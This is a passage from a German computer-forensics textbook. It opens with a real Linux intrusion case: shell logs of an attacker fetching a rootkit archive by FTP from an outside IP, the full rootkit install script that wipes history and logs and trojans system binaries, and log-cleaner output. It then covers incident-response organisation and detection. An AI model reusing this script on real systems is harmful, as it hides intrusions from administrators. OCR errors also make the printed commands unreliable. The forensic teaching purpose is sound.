Abb.2-6  Der Angreifer meldet sich mit dem Account »adm1« an (man bemerke das
Passwort »eliteness«), wird mittels SU-Befel zum Root-User und lberpriift, ob irgendwelche
verddchtigen Prozesse laufen. Der Angreifer wird wahrscheinlich mitbekommen haben, dass
in der Prozessliste zu sehen ist, von welchem System aus er sich angemeldet hat.

[root@apollo /tmp]# ftp

ftp> open 24.9.159.26

Connected to 24.9.159.26.

220 skipper.robotics.net FTP server (Version wu-2.6.1(3) Tue Aug 8 01:00:03 PDT
2000) ready.

Name (24.9.159.26:adml): ttestest
331 Password required for test.
Password:eliteness

230 User test Togged in.

Remote system type is UNIX.

Using binary mode to transfer files.
ftp> cd /tmp/...

250 CWD command successful.

ftp> get Ci.tar

local: Ci.tar remote: Ci.tar

200 PORT command successful.

Abb.2-7  Der Angreifer startet ftp ohne Parameter, damit in der Prozessliste nicht der
besuchte FTP-Server auftaucht, und verbindet sich erst dann mittels »openc. So ist in der
Prozessliste jetzt nur »ftp« zu sehen und nicht »ftp skipper.robotics.net«. Der Angreifer lddt nun
zwei Dateien herunter und installiert sie.

Die weiteren Schritte bestehen darin, die Spuren aller bisherigen Aktio-
nen aus dem System zu loschen und weitere Tools zu installieren. Alle
dazu benétigten Programme waren in den via FTP heruntergeladenen
Archiven enthalten. Neben einem IRC-Bot finden sich in den Archiven
eine trojanisierte SSH-Implementation, Rootkits, Logdateicleaner und
Portscanner.
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[root@apollo .Cil# cd /usr/man
[root@apollo man]# 1s
Ci.tar man2 man4 man6 man8 manl tmac.h
manl man3 man5 man7 man9 mann whatis
[root@apollo man]# rm Ci.tar
rm: remove ~Ci.tar'? y
[root@apollo man]# cd .Ci
[root@apollo .Ci]# 1s
find install-sshdl paki snap
a.sh fix install-statd ps snif
addbd ifconfig install-wu pstree sp.p]
addn in.ftpd killall ptyp ssh-1.2.27.tgz
addps in.identd 1s q syslogd
bx inetd named. tgz qs tepd
find install-sshdl paki snap
a.sh fix install-statd ps snif
addbd ifconfig install-wu pstree sp.p]
addn in.ftpd killall ptyp ssh-1.2.27.tgz
addps in.identd 1s q syslogd
bx inetd named. tgz qs tcpd
chmod-it install needz rmS top
clean install-named netstat rpms.tgz wuftpd.rpm
do install-sshd  nfs-utils-0.1.9.1-1.i386.rpm scan
Abb. 2-8  Der Angreifer sieht sich den Inhalt des heruntergeladenen und entpackten

Verzeichnisses (in /usr/man/ gespeichert !) an. Der Umfang der auszutauschenden und zu
installierenden Dateien ist dabei sehr gut zu erkennen.

Bei der forensischen Auswertung der Festplatte wurde das vom
Angreifer verwendete Installationsskript gefunden:

#!/bin/sh

rm -rf /root/.bash_history

Tn -s /dev/null /root/.bash_history

rm -rf /.bash_history

In -s /dev/null /.bash_history

rm -rf ~games/.bash_history

Tn -s /dev/null ~games/.bash_history

rm -rf /tmp/.bash_history

Tn -s /dev/null /tmp/.bash_history

rm -rf /usr/games/.bash_history

In -s /dev/null /usr/games/.bash_history

mkdir backup

cp /bin/ps backup

cp /usr/bin/top backup

cp /Jusr/sbin/syslogd backup

cp /bin/1s backup

cp /bin/netstat backup

cp /sbin/ifconfig backup

cp Jusr/sbin/tcpd backup

echo "Trojaning in progress
./fix /bin/ps ps
./fix Jusr/bin/top top i

Installationsskript des
Angreifers
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./fix Jusr/sbin/syslogd syslogd

./fix /bin/1s 1s

./fix /sbin/ifconfig ifconfig

./fix /bin/netstat netstat

./fix Jusr/sbin/tcpd tcpd

./fix Jusr/sbin/in.identd in.identd

killall -HUP syslogd

./clean

./a.sh

mv ptyp /devgunzip rpms.tgz;tar -xvf rpms.tar;cd rpms;rpm -Uvh --force *.rpm;cd
..yrm -rf rpms*

killall -1 1pd

rm -rf /var/log/wtmp

cd /var/log

touch wtmp

cd /usr/man/.Ci

rm -rf install addbd

killall -HUP inetd

cp bx /bin/

chmod 755 /bin/bx

rm /usr/sbin/in.ftpd

mv in.ftpd /usr/sbin/

chmod +x /usr/sbin/in.ftpd

echo "done with installing shit"

echo "i'11 now run whereis sshd"

echo "if nothing shows up then run ./install-sshd"
echo "if it's in Jusr/local/sbin/sshd then run ./install-sshd"
echo "if it's in /usr/sbin/sshd then run ./install-sshdl"
whereis sshd

echo "after successfully installing sshd, run ./do"
echo "rootkit installation complete."

Abb.2-9  Das Installationsskript, das der Angreifer verwendet hat: History-Dateien werden
geldscht und in das Null-Device gelinkt, damit die eingegebenen Kommandos nicht
protokolliert werden kénnen. Dann werden die trojanisierten Systemdateien und deren
Konfigurationsdateien installiert. Nachdem der ftp-Server ausgetauscht wurde, wird die
Installation eines trojanisierten SSH-Servers mit verstecktem Root-Zugriff vorbereitet.

Nach der Installation des Rootkit wird es konfiguriert und alle Hin-
weise auf den Zugriff aus den Protokolldateien geloscht.

[root@apollo .Cil# ./addn

enter classb to hide in netstat: 65.1

doing it like they do it on the discovery channel
added 65.1 to the hidden Tist

[root@apollo .Cil# ./addn

enter classb to hide in netstat: 216.149

doing it 1ike they do it on the discovery channel
added 216.149 to the hidden Tist

Abb. 2-10 Die eingegebenen Adressbereiche werden nicht angezeigt, wenn der trojanisierte
netstat-Befehl aufgerufen wird.
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[root@apollo .Cil# ./snap

Dream Walker dream@sekurity.org

Hey We still can own even if messages is 200 megs =)
Enter your host, Teave blank to quit
home. com

Editing home.com out of /var/log/secure
Editing home.com out of /var/log/messages
Editing home.com out of /var/log/xferlog
Editing home.com out of /usr/adm/secure
There is no /usr/adm/secure

There is no /var/log/tempsec

Editing home.com out of /usr/adm/messages
There is no /usr/adm/messages

There is no /usr/adm/tempmess

Editing home.com out of /usr/adm/xferlog
There is no /usr/adm/xferlog

There is no /usr/adm/tempxfer

home.com removed from all Tlogs

Enter your next host, leave blank to quit
[root@apollo .Cil# ./rmS

getting rid of shit we dont need anymore...

finished

Abb. 2-11 Verbindungen, die von der Domain home.com kommen, werden aus allen
System-Logdateien gel6scht; anschlieBend werden auch die Installationsdateien gelGscht.

Im Anschluss hat der Angreifer versucht, uber IRC Kontakt zu anderen
Angreifern aufzunehmen oder dariiber Software herunterzuladen. Das
angegriffene System wurde aber dann durch die Administratoren vom
Netz genommen. Dieser reale Fall zeigt, dass Angriffe in gewissen vor-
hersagbaren Phasen ablaufen, deren Kenntnis es einem Administrator
ermoglicht, die wahrscheinlich nichsten Schritte des Angreifers vor-
herzubestimmen.
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3 Incident Response als Grundlage
der Computer-Forensik

Die Kenntnis der Angriffsmethodik aus dem vorangegangenen Kapitel
ist eine der Voraussetzungen, um nach einem Einbruch erfolgreiche
forensische Untersuchungen durchzufithren. Genauso wichtig fiir eine
schnelle und effektive Ermittlungsarbeit sind aber auch organisatori-
sche Rahmenbedingungen.

In diesem Kapitel wird daher der grundlegende Prozess fiir eine
Sicherheitsvorfallbehandlung beschrieben. Dazu gehoren u.a. vorbe-
reitende organisatorische MafSnahmen, die personelle Zusammenset-
zung des Response-Teams, Richtlinien fiir das konkrete Verhalten im
»Fall der Fille« und die Wahl einer angemessenen Response-Strategie.

3.1 Derincident-Response-Prozess

Die wertneutrale Bezeichnung »Incident« (Vorfall) zeigt, dass das erste
Anliegen bei der Incident Response darin liegt zu kldren, ob ein Sys-
temeinbruch stattgefunden hat oder ob es sich um eine »normale«
Betriebsstorung handelt. Dies geschieht durch das Sammeln und Bewer-
ten aller relevanten Informationen. Wenn ein »echter« Systemeinbruch
festgestellt wurde, mussen in kurzer Zeit Schaden, Angriffsmethoden
und mogliche weitere Auswirkungen fiir die Organisation beurteilt
werden. Weiterhin werden innerhalb des Incident-Response-Prozesses
gute Beweissicherungsmafinahmen etabliert, wobei mogliche Unterbre-
chungen des Produktionsbetriebs oder wichtiger Geschiftsprozesse so
weit wie moglich minimiert werden sollen.

Grundsitzlich ist ein erfolgreich durchgefiihrtes Incident-Response-
Verfahren die Basis fiir eine eventuelle juristische Verfolgung der Tater.
Einem wichtigen Punkt kommt die Auswertung der Ursachenermittlung
zu, da sie die Grundlage fir zukiinftige Handlungsempfehlungen dar-
stellt.

Die Verantwortlichen in den Unternehmen und Behorden, z.B.
Administratoren, aber auch Ermittlungsbehorden, miissen die Not-
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Ohne Vorbereitung keine
erfolgreiche Ermittlung

wendigkeit der organisatorischen Vorarbeit erkennen, damit sinnvolle
und effiziente Maffnahmen zum Schutz einer Organisation ergriffen
werden konnen. Denn ohne dieses Bewusstsein werden im entschei-
denden Augenblick keine ausreichenden personellen und finanziellen
Ressourcen zur Verfugung stehen. Diese Ressourcen sind aber notig,
denn eine effektive Reaktion auf Sicherheitsvorfille basiert sowohl auf
schneller und zuverlissiger Problemidentifikation als auch auf schnel-
ler Mobilisierung von erfahrenen Spezialisten, damit die Ausfallzeiten
fur das betroffene IT-System und damit die Unterbrechung der
Geschiftsprozesse so kurz wie moglich gehalten werden konnen.

3.2 Organisatorische Vorbereitungen

Die Praxis zeigt, dass auch bei der Behandlung von Sicherheitsvorfal-
len eine gute Vorbereitung oft der halbe Weg zu einer reibungslosen
und erfolgreichen Ermittlung ist. Neben den noétigen technischen und
organisatorischen Vorbereitungen, die im Vorfeld eines Angriffs notig
sind, muss sich jedes Unternehmen dartiber klar werden, dass es Opfer
eines Angriffs werden kann. Mit diesem Bewusstein lassen sich Kon-
zepte und Ablaufpline sicherlich leichter erstellen. Folgende Dinge
sind unbedingt zu regeln, bevor ein Sicherheitsproblem auftritt:

Es sollte frithzeitig eine » Incident Awareness« entwickelt werden.
Das heifSt, allen beteiligten Mitarbeitern — Administratoren, Sicher-
heitsbeauftragten und dem Management — muss bewusst sein, dass
ein Sicherheitsvorfall sich jederzeit und an jeder Stelle ereignen kann.
Es sollte frithzeitig ein grobes Komnzept fiir die Sicherbeitsvorfall-
bebandlung erstellt werden. Solch ein Konzept enthalt Eskalations-
sowie Alarmierungsregelungen und legt die entsprechenden Wei-
sungskompetenzen bei Sicherheitsvorfillen fest. Dies kann dann im
weiteren Verlauf produkt- und plattformspezifisch erweitert werden.
Es sollte ein Security-Monitoring- und Alarmierungskonzept erstellt
werden. Dieses Konzept regelt, unter welchen Umstinden Daten
protokolliert und ausgewertet werden diirfen. Um hier spater keine
bésen Uberraschungen zu erleben, sollten Datenschutzbeauftragte
und Personalvertreter frithzeitig mit einbezogen werden.

System- und Sicherheitsadministratoren sollten in Incident-Detec-
tion- und Incident-Response-Aspekten weitergebildet werden. Dies
beinhaltet auch das Sich-vertraut-machen mit Incident-Response-
und Forensik-Tools.

Zu lokalen Security-Spezialisten und Ermittlungsbehorden sollte
frithzeitig Kontakt aufgebaut werden, um im Schadensfall die rich-
tigen Leute ans Telefon zu bekommen. Dies ist auch eine gute Gele-
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genheit, um PGP'-Schliissel auszutauschen oder alternative Verfah-
ren fur die sichere elektronische Kommunikation festzulegen.
Nicht nur aus reinen Sicherheitserwigungen sind regelmafSige Sys-
tem-Backups und entsprechende Tests der Restore-Fihigkeit zwin-
gend notig.

Security Patches sollten nicht nur auf den augenscheinlich kriti-
schen Systemen eingespielt werden, sondern auch auf allen anderen
Systemen, die sich im mittelbaren und unmittelbaren Umfeld wich-
tiger Produktionssysteme befinden bzw. diese beeintrichtigen
konnten.

Bestandteil eines guten Systeminventars sind Ubersichten mit Priif-
summen von Systemprogrammen, um deren Modifikation zu
erkennen. Ebenfalls ist es sinnvoll, eine Liste von Dateien mit
besonders riskanten Zugriffsrechten (z.B. SUID/GUID) zu erstel-
len, die im tdglichen Betrieb benotigt werden.

Internes Marketing muss bei den Entscheidungstriagern betrieben
werden. Hierzu sollten mogliche negative Auswirkungen auf das
Geschiftsfeld des eigenen Unternehmens dargestellt werden.

3.3 Zusammensetzung des Response-Teams

Ein wesentlicher Erfolgsfaktor fiir eine gute Ermittlung liegt in den
Fihigkeiten der ermittelnden Personen. Es ist sinnvoll, im Vorfeld
innerhalb der eigenen Organisation zu sondieren, wer im Ernstfall in
einem Ermittlungsteam einen sinnvollen Beitrag leisten kann. Zwar
bestimmt haufig die aktuelle Situation, welche Personen aus den
betroffenen IT- oder Fachbereichen aufgrund der Detailkenntnisse in
die Ermittlergruppe gehoren, gewisse Schliisselpositionen sollten aber
mit erfahrenen Personen besetzt werden. Bei der Zusammenstellung
des Teams sollte auch besonderer Wert auf die Integritat und Zuverlis-
sigkeit der Mitarbeiter gelegt werden. Die Fahigkeiten der moglichen
Kernmitglieder des Teams sollten in aktuellen »Skill-Profilen« festge-
halten werden. Grundsitzlich sollten die Teammitglieder u.a. folgende
Eigenschaften aufweisen?:

1. Pretty Good Privacy: ein sehr beliebtes und verbreitetes Verschliisselungs- und
Signaturprogramm; die frei verfiigbare Variante ist GnuPG

2. Handbook for Computer Security Incident Response Teams (CSIRTs),
http:/fwww.sei.cmu.edulpublications/documents/03.reports/03hb002.html

Beteiligte
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gesunder Menschenverstand sowie die Fihigkeit, effiziente und
annehmbare Entscheidungen zu treffen, wenn keine klare Richtli-
nien vorhanden sind bzw. Zeitbegrenzungen existieren

sehr gute Fahigkeiten, sich in Schrift und Sprache mit Betroffenen
oder externen Kommunikationspartnern zu verstindigen, sowohl
in der Muttersprache als auch auf Englisch

besonnenes Verhalten bei der Kommunikation mit Geschadigten,
moglichen Verdachtigen oder der Presse

Fihigkeiten, sich an Regeln und festgelegte Prozeduren zu halten,
auch um die Beweiskraft der Tatspuren nicht zu gefihrden
Verstandnis, dass eine kontinuierliche Weiterbildung der Schliissel
zur effektiven Vorfallsbehandlung darstellt

Fahigkeit, Tatigkeiten auch unter Stress auszufiithren

Fahigkeit, im Team zu arbeiten

vorbildliches Verhalten bei sicherheitsrelevanten Titigkeiten, um
das interne und externe Ansehen des Teams zu stidrken

Fahigkeit, Tatigkeiten auch unter Stress zu priorisieren, um wich-
tige Ergebnisse arbeitsokonomisch zu erzielen

GrofSe oder sehr stark vom IT-Einsatz abhiangige Organisationen soll-
ten sich tberlegen, ob sie solch ein Team nicht dauerhaft in ihre Beleg-
schaft integrieren, um bei einem Sicherheitsvorfall effektiver reagieren
zu konnen. Neben der Wahrnehmung anderer Sicherheitsaufgaben
kann dieses Team auch bei der Fritherkennung von Sicherheitsproble-
men von grofler Bedeutung sein. Innerhalb des Response-Teams soll-
ten abhidngig von den Rahmenbedingungen im jeweiligen Unterneh-
men folgende Positionen (die nicht immer von unterschiedlichen
Personen besetzt werden miissen) vorgesehen werden:

Leiter des Teams mit entsprechendem Stellvertreter

Personen, die telefonische Meldungen entgegennehmen
Spezialisten fur die Erfassung und Behandlung des Vorfalls
Spezialisten, die sich mit Schwachstellen beschiftigen

Spezialisten, die iiber die konkret eingesetzten Plattformen vertiefte
Sicherheitskenntnisse besitzen

Schulungspersonal

Wird solch ein Team professionell eingesetzt, sollten zusitzliche Positi-
onen vorgesehen werden, z.B. fiir die Offentlichkeitsarbeit, internes
und externes Marketing, die Entwicklung eigener Response-Tools, fir
die Auditierung, Rechtsfragen etc. Es ist aber darauf hinzuweisen,

3. Creating a Computer Security Incident Response Team: A Process for Getting
Started (hbttp:/fwww.cert.org/csirts/Creating-A-CSIRT. html)
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dass hier »mehr« nicht unbedingt auch »besser« bedeutet. Nach Mog-
lichkeit sollte das Team so klein wie moglich gehalten werden. Perso-
nen, die nur aus Neugier mitarbeiten wollen und die ihnen tibertrage-
nen Aufgaben nicht zuverldssig und professionell ausfihren, konnen
die Ermittlungsarbeit behindern.

Wichtig ist, dass fiir die Identifikation und Erfassung des Vorfalls
eine Person bestimmt wird, die als Koordinator alle Fiden zusammen-
halt. Hierfiir sollte eine Person gefunden werden, die auch iiber einen
»globalen« Blick im Unternehmen verfiigt. Fir die Bewiltigung von
Ausnahmesituationen, die ein Systemeinbruch zweifelsohne darstellt,
sollte der Koordinator direkten Zugang zum Management haben oder
iiber entsprechende Weisungskompetenzen verfiigen. So eignet sich
z.B. ein IT-Sicherheitsbeauftragter genauso gut wie eine Fiihrungskraft
aus dem IT-Bereich fur diese Aufgabe. Abhingig von den organisatori-
schen und personellen Gegebenheiten, kann der Koordinator fiir jeden
Vorfall neu bestimmt werden. Ist ein dauerhaftes Incident-Response-
Team intern vorhanden oder wird ein externer Partner hierfiir beauf-
tragt, kann der Koordinator auch aus diesem Personenkreis kommen.

3.4 Incident Detection: Systemanomalien entdecken

Die tigliche Praxis zeigt, dass eine grofse Anzahl von Computereinbrii-
chen weder verfolgt noch den zustindigen Ermittlungsbehtrden
gemeldet wird. Dariiber hinaus werden viele gar nicht erst bemerkt.
Um dies zu verhindern, ist es sehr wichtig zu wissen, wie laufende
Angriffe oder Spuren von erfolgten Angriffen erkannt werden konnen.
Haiufig sind die Anzeichen eines Angriffs nicht offensichtlich. Zusatz-
lich muss hierbei bedacht werden, dass in einem unzureichend abgesi-
cherten Netzwerk héchstwahrscheinlich auch die Uberwachungsme-
chanismen inaddquat sind. Dies macht es notig, dass ein Administrator
mit offenen Augen und Ohren seinen Verantwortungsbereich betreut.
Haiufig sind es nicht die spektakularen Anzeichen, sondern viele kleine
Anomalien, die nur richtig bewertet und eingeordnet werden miissen.

3.4.1 Vom Verdacht zum Beweis

Der normale Weg von der Feststellung eines Sicherheitsvorfalls bis zur
Aufklarung durchlduft hiufig folgende Phasen:

1. Ungewohnliche Aktivititen werden durch Administratoren oder
Anwender wahrgenommen.

2. Neugierde fiihrt oft zur weiteren Beobachtung (wenn die Zeit da-
fiir vorhanden ist).

Koordinator

Auf Anomalien achten!
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(O8]

Erste schnelle Sammlung von Spuren.

Der Anfangsverdacht wird bestitigt (durch andere Anzeichen oder
erste Schadensfeststellung).

Die Straftat bzw. der Schaden wird entdeckt und evtl. bestatigt.
Meldung an interne oder externe Ermittlungsspezialisten.

>

Elektronische Beweise werden vollstandig sichergestellt.
Beweisspuren werden identifiziert.

Beweisspuren werden analysiert.

10. Analysergebnisse werden interpretiert und verifiziert.

11. Analysergebnisse werden in einen nachvollziehbaren Bericht zu-
sammengefasst und prasentiert.

0 ® NN

Dies ist eigentlich keine besonders neue Erkenntnis. Die Frage hierbei ist
aber, ab welchem Zeitpunkt interne und externe Spezialisten das Ruder
tibernehmen. Normalerweise sollten sich die Administratoren spates-
tens dann zurtickziehen, wenn die Straftat bzw. der Schaden bestitigt
wird. Sie miissen den internen und externen Spezialisten natiirlich wei-
terhin unterstiitzend zur Seite stehen, eine weitere direkte Beteiligung an
der Ermittlung ist dann aber oft nicht mehr no6tig. Die Administratoren
sind dann natiirlich in das Recovery-Verfahren integriert.

3.4.2 Netzseitige Hinweise

Wer regelmifSig den eigenen Netzverkehr iberwacht oder Anomalien
identifizieren kann, wird die ersten Anzeichen fur einen Angriff frith-
zeitig erkennen. Fiir die Analyse konnen durchaus automatisierte Ver-
fahren zum Einsatz kommen.

Ungewohnlich hober Netzverkebr (eingehend und ausgehend)
Dies kann ein Hinweis darauf sein, dass von den eigenen Systemen
Angriffe auf Dritte durchgefithrt werden oder ein interner Prozess
Daten zum Angreifer tibertragt. Oft sind es aber auch Systeme, die
von einem Angreifer zu einem illegalen FTP-Server fiir Raubkopien
und Angriffstools umfunktioniert wurden. Dadurch kommt es zu
einem erheblichen Anstieg des Transfervolumens.

Uberdurchschnittlich hobe Anzahl von Firewall-RegelverstéfSen
(auch ausgehend)

Ist die externe Firewall sicher konfiguriert und lisst Verbindungen
zum Internet nicht freiziigig zu, konnte ein Anstieg von Regelver-
stofen bei ausgehendem Netzverkehr ein Indiz dafur sein, dass auf
einem internen Server ein verddchtiger Prozess aktiv ist. Oft kann
man dies auch in den Logdateien von zentralen WWW-Proxies
sehen, die von internen Anwendern missbraucht werden, um
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Daten uber diesen eigentlich fir den Surf-Zugang zu verwenden-
den Ausgang illegal ins Internet zu transportieren.

3.4.3 Serverseitige Hinweise

Neben den Hinweisen aus der Analyse des Netzverkehrs sind auch
Anzeichen auf dem angegriffenen System selbst von Bedeutung. Hier
gilt es, etwaige Fehlermeldungen oder Beschwerden von Anwendern
oder Administratoren genauer zu untersuchen.

Unbekannte Prozesse

Tauchen unerwartet neue Systemprozesse oder Cronjobs auf, sollte
man hellhorig werden. Besondere Vorsicht ist geboten, wenn diese
Prozesse dhnlich benannt sind wie bereits vorhandene Serverpro-
zesse oder Systemdateien. Um dies zu erkennen, sollte man mit sei-
nem System sehr vertraut sein und einen guten Uberblick iiber die
normalen Funktionen haben.

Unbekannte User

Befinden sich unerwartet neue User auf dem System, konnte ein
Angreifer Hintertiiren erstellt haben. Dies ist besonders wichtig,
wenn es sich um neue User mit Administrationsrechten handelt
(z.B. neue Mitglieder in einer Administratorengruppe).

Unbekannte Dateien

Finden sich Dateien oder Verzeichnisse, die mit besonderen Rech-
ten versehen sind oder an ungewohnlicher Stelle gespeichert sind,
sollten weitere Ermittlungen eingeleitet werden. Das Gleiche gilt
fur Dateien und Verzeichnisse, die einen auffallenden Namen haben.

Ungewohnliche Systemlast

Tritt bei einem System zu ungewohnlichen Zeiten eine erhéhte Sys-
temlast auf, kann dies ein Hinweis darauf sein, dass das System
angegriffen wurde oder gerade unter Beschuss steht.

Dienste laufen »plotzlich « nicht

Das erste Anzeichen fir einen erfolgreichen Befall durch den Wurm
Code Red war der Ausfall des WWW-Dienstes auf dem betroffenen
System. Viele Systemdienste beenden sich namlich, nachdem sie
erfolgreich oder auch vergebens angegriffen wurden. Stoppt ein Ser-
ver unvorhergesehen ohne Anzeichen fur einen selbstverursachten
Fehler, konnte dies Folge eines Angriffs sein.

Ungewohbnliche Systemanmeldungen

Meldet sich zu ungewohnlichen Tagesszeiten ein normaler User
oder gar ein Administrator an, sollte nachgeprift werden, ob es
sich wirklich um den tatsachlichen User handelt und ob die Anmel-
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dung dem Aufgabenspektrum des betroffenen Anwenders ent-
spricht. Das Gleiche gilt auch, wenn das System, von dem die
Anmeldung vorgenommen oder versucht wird, ungewohnlich ist.

3.4.4 Intrusion-Detection-Systeme

Intrusion-Detection-Systeme (IDS) bieten viele Moglichkeiten, um
frithzeitig Angriffe oder Angriffsmuster zu erkennen. Ein sinnvolles
Intrusion-Detection-Konzept deckt u.a. folgende Anforderungen ab:

Erkennung von Angriffen im Netzverkehr und entsprechende
Frithwarnfunktion,

Priifung auf Policy-konformes Verhalten,

Uberwachung der Funktion und Integritit von Systemen und Kom-
ponenten,

permanente, umfangreiche und gleichbleibende Systembeobachtung,
Verbesserung der Transparenz des zu schiitzenden Systems,
Beweissicherung,

Erkennung allgemeiner Systemstorungen,

bei Bedarf ausgewahlte automatische Reaktionen.

Ein IDS wird einen Angriff nicht verhindern! Sinnvoll konzipiert und
eingesetzt, hilft es aber, Anzeichen von Angriffen zu erkennen und
Beweise zu sammeln.

3.4.5 Externe Hinweise

Es kommt immer wieder vor, dass Organisationen keine eigenen Uber-
wachungsmechanismen betreiben oder diese nicht regelmifiig kontrol-
lieren, um Angriffe auf die eigene Infrastruktur zuverlissig zu erken-
nen. Wird von externer Seite auf ein Sicherheitsproblem hingewiesen,
ist der Imageschaden bereits entstanden. Dies hat dann oft direkten
Einfluss auf die folgenden Ermittlungsarbeiten: Entweder es bleibt
nicht ausreichend Zeit fiir eine griindliche Beweissammlung, da man
die Systeme schnell wieder in Betrieb nehmen mochte, oder die Exis-
tenz von Sicherheitsproblemen wird offiziell ignoriert und die Sicher-
heitsliicke, die eventuell zu diesem Vorfall gefithrt hat, wird nicht voll-
stindig geschlossen.

Von Kunden und Geschdiftspartnern

Solche Hinweise kommen in der Regel, wenn bei einem Wurmbe-
fall automatisch Mails an Kunden und Geschiftspartner verschickt
werden oder bestimmte Services nicht mehr erreichbar sind.
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Durch Strafverfolgungsbehorden

Finden sich bei der Ermittlung eines Systemeinbruchs Hinweise,
welchen Weg der Angreifer genommen hat oder in der Folge gegan-
gen ist, versuchen die Ermittler herauszufinden, ob es sich hierbei
um das »Heimatsystem« des Angreifers handeln konnte. Oft finden
sich hier aber auch nur gehackte und vom Angreifer missbrauchte
Server, deren Besitzer dann von dem Vorfall unterrichtet werden.

Presse

Wenn auch selten, kann eine Organisation aus verschiedenen Nach-
richtentickern oder auch Mailinglisten erfahren, dass die eigenen
Systeme angegriffen wurden. Es kam in der Vergangenheit schon
vor, dass ein Kunde oder ein interessierter User keinen verantwortli-
chen Mitarbeiter einer Organisation erreichen konnte, um Auffal-
ligkeiten zu melden. In letzter Konsequenz blieb dann nur der Weg
tber die Presse oder spezielle Mailinglisten.

Intrusion-Mapping-Systeme

Verschiedene, iiber das Internet erreichbare Informationsdienste
bieten die Moglichkeit zu recherchieren, ob eigene IP-Adressen fiir
Angriffe auf Dritte verwendet werden (z.B. Distributed Intrusion
Detection System (hitp://www.dshield.org)).
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Merkblatt vorbereiten

3.5 Incident Detection: Ein Vorfall wird gemeldet

Zusatzlich zu den in Abschnitt 3.4 genannten Anzeichen eines Angriffs
kommt es gerade in grofSeren und weit verstreuten Organisationen vor,
dass Meldungen iiber mogliche Sicherheitsvorfille telefonisch erfasst
werden oder ein IDS-Alarm beim lokalen Systemadministrator abge-
klart werden muss. Es ist wichtig, im Vorfeld zu wissen, welche Infor-
mationen man dann erfragen sollte. Eine Checkliste mit standardisier-
ten Fragen gehort daher unbedingt in ein Sicherheitsvorfall-Behand-
lungskonzept.

Meldung des Vorfalls

Es ist fir die erste Einschidtzung der Situation wichtig, dass die Person,
die die Meldung entgegennimmt, bereits die richtigen Dinge erfragt.
Wenn die meldende Person diese Informationen nicht sofort zur Hand
hat, sollten diese moglichst schnell nachgeliefert werden. Es gilt hier
aber der Grundsatz, dass Informationen, die nicht frithzeitig erfasst
werden, hiufig niemals erfasst werden. Jeder Mitarbeiter, der mog-
licherweise eine Vorfallsmeldung entgegennehmen konnte, sollte auf
einem Merkblatt die nachfolgend erlduterten Fragen griffbereit haben.
Zur besseren Vorbereitung der eigenen Mitarbeiter in der Organisa-
tion konnen auch fertige Formulare bereitgehalten werden. Diese For-
mulare gehoren auf jeden Fall auch in das User Help Desk, fur den
Fall, dass dort eine Erstmeldung auflauft. Allerdings sollte dafiir auch
entsprechend geschultes Fachpersonal vorgehalten werden. Der Hin-
weis, hier nicht in Panik zu verfallen, ist zwar bei professionellem Her-
angehen uberflussig, kann aber nicht oft genug gegeben werden.

Allgemeine Informationen

Daten, die auf jeden Fall fiir die Dokumentation eines Sicherheitsvor-
falls erfasst werden sollten, sind

aktuelle Uhrzeit

Wer oder welches System berichtet den Vorfall?

Art und Wesen des Vorfalls

vermuteter Zeitpunkt des Vorfalls

mittelbar und unmittelbar betroffene Hardware und Software
Kontaktstelle fiir das Incident-Response-Team und die Ermittler

Informationen liber den Anrufer

Die erste Information fiir alle an der Ermittlung beteiligten Personen
ist: Wer hat wann von wo angerufen? Fiir mogliche weitere Nachfra-
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gen sollte die meldende Person unbedingt E-Mail-Adresse und Telefon-
nummer hinterlassen.

Als Nichstes sollte gefragt werden, wie und durch wen der Sicher-
heitsvorfall entdeckt wurde. Wichtig ist in diesem Zusammenhang
auch, wann der Vorfall bemerkt wurde. Auflert der Anrufer Vermu-
tungen dariiber, wann der Vorfall seiner Meinung nach stattgefunden
hat, sind auch diese zu berticksichtigen.

Fiir spitere Entscheidungen und auch fiir die Bewertung des
Angriffsziels sollte die meldende Person die direkten und indirekten
Auswirkungen auf das Unternehmen oder die Organisation beschrei-
ben. Hierbei sollte auch nachgefragt werden, ob sich in Form einer
Kettenreaktion der mogliche Schaden potenzieren konnte. Wenn sich
bereits Aussagen uber entstandenen oder moglicherweise entstehenden
finanziellen Schaden treffen lassen, kann dies mitunter zur weiteren
Motivation bei Entscheidungstrigern fithren.

Fiir die weitere Kommunikation sollte festgelegt werden, welche
Personen fiir weitere Informationen kontaktiert werden sollen. Dies
betrifft sowohl eine Kontaktperson, die den Ermittlern fiir weitere
Zwischenfragen oder lokale Unterstiitzung zur Verfugung steht, als
auch die Moglichkeit, dass sich die betroffene Organisation an einer
zentralen Stelle tiber den Stand der Ermittlungen informieren kann.

Informationen vom betroffenen System

Fiir die eigentliche Untersuchung sind niahere Informationen tiber das
betroffene System oder den Systemkomplex sehr wichtig. Hierzu zih-
len Informationen tiber Hardware, Betriebssystem und Anwendungs-
software. Um allerdings den Zustand des Systems nicht unnotig zu ver-
andern, sollten diese Informationen offline, d.h. nicht vom betroffenen
System selbst, erlangt werden. Weiterhin ist zu kldren, ob auf diesem
System vertrauliche oder anderweitig kritische Daten gespeichert oder
verarbeitet werden. Ist das System Bestandteil eines kritischen
Geschiftsprozesses? Wer sind die Hauptanwender dieses Systems?
Wer sind die Hauptadministratoren des Systems, wie konnen sie
erreicht werden? Wo ist das System physisch positioniert? Kann sicher-
gestellt werden, dass keine unberechtigten Personen physischen
Zugriff auf dieses System haben?* Zur besseren Beurteilung der Situa-
tion sollte erfragt werden, in welchem Zustand sich das System befin-

4.  Mitunter sollten die Sicherheitsverantwortlichen sofort bestimmen, dass aufSer den
unmittelbar an der Ermittlung beteiligten Spezialisten niemand den Raum mit den
betroffenen Systemen betreten darf, da die Gefahr der Zerstorung wichtiger Spuren
besteht. Dies ist besonders wichtig, wenn der Eigentiimer des betroffenen PCs oder
ein Systemadministrator selbst verddchtigt wird.
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det. Ist es eingeschaltet oder ausgeschaltet? Was steht auf dem Bild-
schirm oder der Konsole? Und so weiter.

Diese Informationen sind zwar fir die erste Lagebeurteilung
wesentlich, die Erfahrung zeigt aber, dass man oft auch ohne diese
Hinweise auskommen muss. Oft ist nicht bekannt, wo sich ein System
physisch genau befindet, wie es funktioniert und fiir welche Geschafts-
prozesse es relevant ist. AufSerdem muss beriicksichtigt werden, dass
sich die meldende Person nicht immer in einem ausgeglichenen
Zustand befindet oder geniigend Zeit hatte, alle wichtigen Informatio-
nen in Ruhe mitzuteilen.

Informationen Giber den Angreifer

Wenn bereits Informationen tiber einen potenziellen Angreifer vorlie-
gen, sollten diese ebenfalls bei der Meldung erfasst werden. Ist der
Angreifer noch aktiv? Gibt es Anzeichen fiir einen Denial-of-Service-
